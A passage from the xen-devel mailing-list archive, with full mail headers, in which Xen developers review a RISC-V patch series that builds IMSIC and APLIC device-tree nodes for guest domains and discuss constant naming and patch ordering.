> -                iov[iovcnt - 1].iov_len += PAGE_SIZE;
> -            }
> -            --nr_pages;
> -        }
> -    }
> -
>      if ( writev_exact(ctx->fd, iov, iovcnt) )
>      {
>          PERROR("Failed to write page data to stream");
>          goto err;
>      }
>  
> -    /* Sanity check we have sent all the pages we expected to. */
> -    assert(nr_pages == 0);
>      rc = ctx->save.nr_batch_pfns = 0;
>  
>   err:

Looking at this patch, I think it wants merging with patch 3 and
bringing ahead of patch 5.

You're undoing/redoing work in both of those patches, where I think it
would be simpler to drop guest_data rather than convert it then drop.

Moving hdrs.rec.* can be done in patch 1 (which will probably simplify
it's diff too).

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:55:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:55:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349870.1607500 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetXd-000341-HX; Wed, 01 Jul 2026 11:55:45 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349870.1607500; Wed, 01 Jul 2026 11:55:45 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetXd-00033u-Eh; Wed, 01 Jul 2026 11:55:45 +0000
Received: by outflank-mailman (input) for mailman id 1349870;
 Wed, 01 Jul 2026 11:55:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wetXc-00033m-3N
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:55:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetXb-00Ahh0-CO
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:55:43 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a450027-5cb7-0a2a0a5109dd-0a2a4507a2a6-48
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:55:43 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a45003d-9c8e-0a2a45070019-d1558029c1fb-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:55:42 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-493b779003fso2744145e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 04:55:42 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-148-111.play-internet.pl.
 [109.243.148.111]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493be810be8sm66929875e9.9.2026.07.01.04.55.40
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 04:55:41 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1782906941; x=1783511741; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :from:to:cc:subject:date:message-id:reply-to;
        bh=MoQ03rLQTdgsOEta0q/3tkgEBYC0ycfrpVzP3Ye92u4=;
        b=cuk5KihaeGk4FnoZCufOPUXjf+BwbZt/ppv6ikSxFtRlAvr7W64c9SU96xU3XrlI9N
         PVgCtMKbTAy/vUOJN/DjGMOng1iYzDxo6p6rmFGkXiaak9WNczxcu9rBs5sOAmHsfBkZ
         dY0RZNCDm8w2wV6YqFy9MKYS6rvwjt4zSYz4u79Al1szkMEK0CdZTP0ed5aKsHom0Mss
         +PvHWzH4Xyx3RgQY/PesLQEO2tPJ6NbHslA0FST1QfFs1ZFmPMKtyoEDNd0R8dLruOU3
         W3S1v9uD+0p+QsC2XIPJXMF3ZOL8P4DKTUWWa80FV5d0r1llGXuRhOmIkBOsae4UaNuq
         BBcw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782906941; x=1783511741;
        h=content-transfer-encoding:in-reply-to:from:content-language
         :references:cc:to:subject:user-agent:mime-version:date:message-id
         :x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to;
        bh=MoQ03rLQTdgsOEta0q/3tkgEBYC0ycfrpVzP3Ye92u4=;
        b=YLe7XTZkHPQOT9giXCi/1usSxaeDuG05L+Y0hspslJaTKnxJjD9NGGh2FcknMAWn6b
         6vSnJLrmuUQpLLT6ph5FgmEHq83rqObQv12hqN8kAHnTA2twkAx3Y0bxUsRnrPkt48WJ
         xzJQGuwmFIYnD90cALftximd9h5zjuHjy9KooHrYVW3Ek9b/OddZO1wcxtP/uozUo46n
         //mxwSL8WGy5MAvrTCW4o4A0OzPlq2wc32QTgQqPjQb9SvhR0qR+B8iIsXZTjfiVTQez
         7pzpFT7AdYuYgV+RBWLZK81xnYaLT+oGFdcATHXlqMR/58HLHDc1TQnh98z7LLfwKAVO
         ir3g==
X-Forwarded-Encrypted: i=1; AFNElJ/ciguDN8bSPv9lih1k+ybCPlfRRPgNQ+FyJNvk45ZhqNTCoJ+fuIQ5zZw7POPDkoodG+KkGOZ+ayc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyAFuqLURPpM2cLm2z3uzF/QeM9/a82p2MYLzVgYNGP3UAbnVhT
	Tb5t/6qUVK8ugAlXMdrflKUcjaOXq+WreksCBqBIZbOmBc4CDbak1nUs
X-Gm-Gg: AfdE7cksPtXsUQFJ+r44n/ob0iegShqiBc4738LR6usn9xvNlXrThOI0t9IicNLz+H+
	MgxFtXtdDNSo2J/Q8khH08cp8UxqSfXJgqJ8uTa2rUKQD+RbOSdqFMam7dvMat/d1qlTiodA4se
	gVUPo8L2nXeOhCaGLa1H7xkp4jxfVfzpstlKYgqlE2jnjyZzS2aIGVCKbFTo4qXz6/6IFc+tJN1
	RKUX+fBrtQoUGjpZP2uuuARh/nFCPqNDoPOGis1YwkL4fc4/CfR5aC5oMqj5rCwg7TawpKM9t0+
	S7duATrmX+IgtKFspOUt6RH23e2aAHhmKp79+5imsjCPgGgmpnc5E/gXqzlPXHDe/ddCfgUa9T8
	uozwCnoh5U4/OXJJyU0FvBTBmnwUGzMCTUdgjbsraGADqh6QEvrjkQAokD5KkKVj+phR255pYFu
	OLtV7m1XjhJVYfd06UnxW6Rl2Wxor5baYOsEBGWZX+VC5OFR4RbHHjDpC8HMrqnkUJAMI=
X-Received: by 2002:a05:600c:620a:b0:492:58d6:2565 with SMTP id 5b1f17b1804b1-493c2b90815mr17550175e9.25.1782906941508;
        Wed, 01 Jul 2026 04:55:41 -0700 (PDT)
Message-ID: <7d007b0d-d246-45aa-8ce2-579f36f6d8bf@gmail.com>
Date: Wed, 1 Jul 2026 13:55:40 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 20/25] xen/riscv: create APLIC DT node for guest
 domains
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <2bab716741ae436c7b92989d7613dac620166b89.1782487661.git.oleksii.kurochko@gmail.com>
 <76b16195-43a8-40cc-9d22-7b9c21e4c8f1@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <76b16195-43a8-40cc-9d22-7b9c21e4c8f1@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1782906942-FD12E25E-A0EA1295/10/73395122804
X-purgate-type: spam
X-purgate-size: 3106



On 6/29/26 5:26 PM, Jan Beulich wrote:
> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>> --- a/xen/arch/riscv/include/asm/imsic.h
>> +++ b/xen/arch/riscv/include/asm/imsic.h
>> @@ -78,6 +78,7 @@ struct vimsic_state {
>>   };
>>   
>>   struct dt_device_node;
>> +struct kernel_info;
>>   struct vcpu;
>>   
>>   int imsic_init(const struct dt_device_node *node);
>> @@ -93,4 +94,6 @@ int vcpu_imsic_init(struct vcpu *v);
>>   void vcpu_imsic_deinit(struct vcpu *v);
>>   unsigned int vcpu_guest_file_id(const struct vcpu *v);
>>   
>> +int vimsic_make_domu_dt_node(struct kernel_info *kinfo, unsigned int *phandle);
> 
> Doesn't this belong in the earlier patch?

Yes, it should be in the earlier patch. I will move this decl. to prev 
patch.

> 
>> --- a/xen/arch/riscv/vaplic.c
>> +++ b/xen/arch/riscv/vaplic.c
>> @@ -9,6 +9,8 @@
>>    */
>>   
>>   #include <xen/errno.h>
>> +#include <xen/fdt-kernel.h>
>> +#include <xen/libfdt/libfdt.h>
>>   #include <xen/sched.h>
>>   #include <xen/xvmalloc.h>
>>   
>> @@ -19,6 +21,11 @@
>>   
>>   #include "aplic-priv.h"
>>   
>> +#define VAPLIC_COMPATIBLE "riscv,aplic"
>> +#define VAPLIC_NUM_SOURCES 96
> 
> So for the IMSIC the host value is relevant, but for the APLIC the count is
> an arbitrary(?) compile time constant? Why?
If you are referring to the number of IMSIC interrupt identities, the 
IMSIC node has separate properties for the host and guest:

```yaml
riscv,num-ids:
   $ref: /schemas/types.yaml#/definitions/uint32
   minimum: 63
   maximum: 2047
   description:
     Number of interrupt identities supported by the IMSIC interrupt file.

riscv,num-guest-ids:
   $ref: /schemas/types.yaml#/definitions/uint32
   minimum: 63
   maximum: 2047
   description:
     Number of interrupt identities supported by the IMSIC guest 
interrupt file. If not specified, it is assumed to be the same as the 
value of the `riscv,num-ids` property.
```

Therefore, if `riscv,num-guest-ids` is not explicitly specified, the 
predefined value `GUEST_IMSIC_NUM_IDS` is used.

No equivalent property exists for APLIC, which is why the value is 
explicitly hardcoded here. To some extent, the chosen number is 
arbitrary, but I used the same value that QEMU uses when creating the 
APLIC node.

It probably makes sense to limit this value in a similar way to IMSIC, 
at least for now, since the case where the number of VAPLIC sources 
exceeds the number of host APLIC sources is not supported (assuming that 
configuration is even valid). In other words, we could use:
   min(VAPLIC_NUM_SOURCES, host_num_sources)

Would that make sense?

> 
>> @@ -29,6 +36,74 @@ static void cf_check vaplic_deinit(struct vcpu *v)
>>       return vcpu_imsic_deinit(v);
>>   }
>>   
>> +static int __init cf_check vaplic_make_domu_dt_node(struct kernel_info *kinfo)
>> +{
>> +    struct domain *d = kinfo->bd.d;
>> +    int res = 0;
> 
> I'm pretty sure I did point out this (or a very similar) pointless initializer
> before.
> 

I will drop initializer.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:56:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:56:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349875.1607510 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetY5-0003SZ-Qz; Wed, 01 Jul 2026 11:56:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349875.1607510; Wed, 01 Jul 2026 11:56:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetY5-0003SS-NO; Wed, 01 Jul 2026 11:56:13 +0000
Received: by outflank-mailman (input) for mailman id 1349875;
 Wed, 01 Jul 2026 11:56:12 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wetY4-0003S8-3h
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:56:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetY3-008Rnf-GU
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:56:11 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a450051-5cb7-0a2a0a5109dd-0a2a4502beac-16
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:56:06 +0200
Received: from [209.85.221.45] (helo=mail-wr1-f45.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a450056-5a27-0a2a45020019-d155dd2dd8aa-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:56:06 +0200
Received: by mail-wr1-f45.google.com with SMTP id
 ffacd0b85a97d-472055b0efaso353776f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 04:56:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-475674af239sm15057499f8f.30.2026.07.01.04.55.34
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 04:55:47 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782906966; x=1783511766; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=2ILDaRNTeZo5u0FIEIEa4IBQ8JWXbZOhNQFsEyvANNQ=;
        b=Z8geJSq+uFFrC1vzYc/xJjOK1rWggXmvVmDg0m643YeCSrx+Y66y4hkjaXpWzXZbgm
         +khJMF59aSNk37z17XgbFWz7Vr2jDAgIbC/6rS7tuijd8DuGsr9cTOJaEL5/16A6zAAo
         2a7xszjbb/E60QVVJ2kZ5u6iYU7LF3qIBRNfsLRcks1/SJ+Syednl7HafRMC1LH5LDKy
         3JMAADuGiPcWwVu2ahS/XO5B1PlMbaLeDaR9ERsjWKUFenTJJpBz8M2c3EDUPuE8E/Cp
         tnutyQbZ3qutH1ifHdTiKPpq8VtppPo9MY/Fd/nyKa13F8W82IfllMpAwq8kFVqxlyr7
         qzkQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782906966; x=1783511766;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=2ILDaRNTeZo5u0FIEIEa4IBQ8JWXbZOhNQFsEyvANNQ=;
        b=PBeC/eCzzR94+iwJ9DRXgBkdBrq+7N+3Ud4NKlfN11Jn1ewLzBT9xvGWkLP1R2l0HW
         UVeUS6o7jPzog5gN651PEB9/GADE94cDkk0EpQBjOiPDlLKl2mPp9cO0YYakl2/wzFVB
         Sv06rdaXLTxDOlUdE/simeNDaNr15SZKuORofyISO79tMhIEE7InaOfFdWfb09LcMDMD
         SCPGLdoFAVeZAGoQXIkqFOs8dgSBfPDnQYINX3bsQb8eCwk9K1tRjTjYBRt2sNrfH5eh
         pBzRQpRpED74wDoyZ7Ok+91KTkd8f/uFhyAuzCrem3A1M3du+CgSTjDDowtPh7Rcuvjn
         bxdg==
X-Forwarded-Encrypted: i=1; AHgh+Rqxg7V3bcN/RQ1gTerUJ7YG4WHCkfbSRpGclI4Go3yu1ql3SnJozCL/d8y6IJgcucuSX/IUh/Eqn2E=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwJff7wgI9rlKK8Lt9iGSjkClEScsFUNuP7aYWMuWItvBgw6r4j
	5fSwLt0wFWg0k8oE3Wb10akrfvEkwCT2067YJbRQSPblQZIVFdt4t+xfiHk3T/nlig==
X-Gm-Gg: AfdE7clZiDrjXDbvZMPD1RNXZQtYK70yU9cLKXomuZhl7vbfuL+xW+Vv0kRRr9TNofz
	lbkbfT4xCg7A6Ve4/mL8joBjENets8yS+uS58PIcfSuDWvwyQz5npNvUMIQiC3PaScAA7i9WIBj
	XPB/dbCSQITG0gpUjpSmQ0x2YeIRogM92h9aaJfGKEb72IA4lWfp+jIol+VTjNCkfqQ2QmvN2df
	TaNvGxDtIwyg+0mqqQcP4JOLLff42Pi4ygtTj+KAfP7E0EoNLSiog9OfEntOri/9u6Mc1IGfode
	2xGoLhscJaOQjys9MQy0nYD1aBC4dN8v7EjweO7U5VeaXL5cPzHL6S/sLA1NP0YzUCn04IeqHNR
	JkP5mE4U1MCakPfGBXN3Cj4xJ0oR+I3yeTw3W/Dft/cYFc+rR8EJbj4HJXsmG6cQV8n7UcFW9v6
	WKW9j1+/VDr0yFIHsPsj97GHlrdGBkEr/I/XF8scIk4BSeRAcH2tNioCVT/o7soqJzoattVO1C+
	VYX
X-Received: by 2002:a05:6000:2203:b0:473:1089:154f with SMTP id ffacd0b85a97d-4775466f2a2mr2405684f8f.0.1782906965667;
        Wed, 01 Jul 2026 04:56:05 -0700 (PDT)
Message-ID: <3c672ea8-3dc9-468d-9ca4-d6ceaf6c8cb3@suse.com>
Date: Wed, 1 Jul 2026 13:55:33 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 19/25] xen/riscv: generate IMSIC DT node for guest
 domains
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1782487661.git.oleksii.kurochko@gmail.com>
 <424c223b97e9d27aa4ef4e05e2d5c8d0c426324c.1782487661.git.oleksii.kurochko@gmail.com>
 <77d3cf2c-3ed7-45f8-8e76-72520e71306b@suse.com>
 <018771c4-043d-4b29-ac40-284ee8692334@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s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ASeQwSHEeAWPgskBQL
In-Reply-To: <018771c4-043d-4b29-ac40-284ee8692334@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1782906966-4EB177C5-C78C79F4/0/0
X-purgate-type: clean
X-purgate-size: 3212

On 01.07.2026 13:21, Oleksii Kurochko wrote:
> On 6/29/26 5:19 PM, Jan Beulich wrote:
>> On 26.06.2026 17:46, Oleksii Kurochko wrote:
>>> --- a/xen/arch/riscv/imsic.c
>>> +++ b/xen/arch/riscv/imsic.c
>>> @@ -13,8 +13,12 @@
>>>   #include <xen/const.h>
>>>   #include <xen/cpumask.h>
>>>   #include <xen/device_tree.h>
>>> +#include <xen/domain.h>
>>>   #include <xen/errno.h>
>>> +#include <xen/fdt-domain-build.h>
>>> +#include <xen/fdt-kernel.h>
>>>   #include <xen/init.h>
>>> +#include <xen/libfdt/libfdt.h>
>>>   #include <xen/macros.h>
>>>   #include <xen/sched.h>
>>>   #include <xen/smp.h>
>>> @@ -34,6 +38,16 @@ static struct imsic_config imsic_cfg = {
>>>       .lock = SPIN_LOCK_UNLOCKED,
>>>   };
>>>   
>>> +/*
>>> + * Number of MSIs available to a guest. Determined by the host interrupt
>>> + * controller, so it is identical for every domain -- hence a single global
>>> + * rather than a per-domain value.
>>> + */
>>> +static unsigned int __read_mostly guest_num_msis;
>>> +
>>> +#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
>>> +#define GUEST_IMSIC_NUM_MSIS 255
>>
>> Considering its use this isn't named correctly - it's not the number of MSIs
>> guests get to use.
> 
> I will rename to GUEST_IMSIC_NUM_IDS then it will be fully aligned with 
> dts property name.
> 
> Then it makes sense to rename guest_num_msis to guest_num_ids.

That's not going to help address my remark. I specifically referred to ...

>>> +int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
>>> +                                    unsigned int *phandle)
>>> +{
>>> +    int res;
>>> +    void *fdt = kinfo->fdt;
>>> +    char vimsic_name[32];
>>> +    unsigned int vimsic_phandle;
>>> +    unsigned int num_msis = min(GUEST_IMSIC_NUM_MSIS + 0U, guest_num_msis);
>>
>> As guest_num_msis (supposedly) doesn't change anymore after it was set, why
>> would this need calculating again for each call here? Can't you apply the
>> upper bound right in imsic_parse_node()?
> 
> Agree, I will add the following to imsic_parse_node() after 
> guest_num_msis is init-ed:
> 
> guest_num_msis = min(GUEST_IMSIC_NUM_MSIS + 0U, guest_num_msis);

... the sole use of the constant (here). The number of MSIs (or IDs or
whatever else) isn't GUEST_IMSIC_NUM_MSIS; that's merely an upper bound
(which in turn is there for an unknown to me reason).

>>> --- a/xen/arch/riscv/include/asm/guest-layout.h
>>> +++ b/xen/arch/riscv/include/asm/guest-layout.h
>>> @@ -3,6 +3,12 @@
>>>   
>>>   #include <public/xen.h>
>>>   
>>> +/*
>>> + * Base address of the guest's supervisor-mode IMSIC. The value is the address
>>> + * typically used for IMSIC by QEMU.
>>> + */
>>> +#define GUEST_IMSIC_S_BASE _UL(0x28000000)
>>
>> As you mention it explicitly: Is there also a user-mode IMSIC?
> 
> I am not aware of such.
> 
> I mention it explicitly as machine mode IMSIC exists and it is a 
> separate DT node for that.

Ah, okay. Then maybe keep the comment as is. It's not quite clear to me
whether, from an abstract perspective, "machine mode" could make sense
for guests. If it can't, "supervisor-mode" would be redundant with
"guest's".

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:58:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:58:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349887.1607517 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetad-0004Ru-65; Wed, 01 Jul 2026 11:58:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349887.1607517; Wed, 01 Jul 2026 11:58:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetad-0004Rn-3F; Wed, 01 Jul 2026 11:58:51 +0000
Received: by outflank-mailman (input) for mailman id 1349887;
 Wed, 01 Jul 2026 11:58:49 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wetab-0004Rh-BH
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:58:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetaa-00AiHv-GG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:58:48 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4500f1-2eae-0a2a0a5409dd-0a2a4508b5d6-32
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:58:48 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4500f8-edec-0a2a45080019-d155dd33c89e-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:58:48 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-475417f010dso358136f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 04:58:48 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-4756636d2cfsm18350828f8f.17.2026.07.01.04.58.42
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 01 Jul 2026 04:58:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782907128; x=1783511928; darn=lists.xenproject.org;
        h=content-transfer-encoding:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to;
        bh=VCBBlBIZ2fRRtURovQCiNJjBxSs2iUUYs/xeLtP2pSs=;
        b=Ji54BCgi9FyjrWIeSbS78GcgMXzS9dq43gTruqg8EZBxVQ0pW/6QOXkNUYZrWzOC2C
         lAiBIF40cWzOwbhNBLskr/yW8nggf4/UJPz6qTF9xU+pMyaIeiaEzl8FhPeNOKRZ/Suu
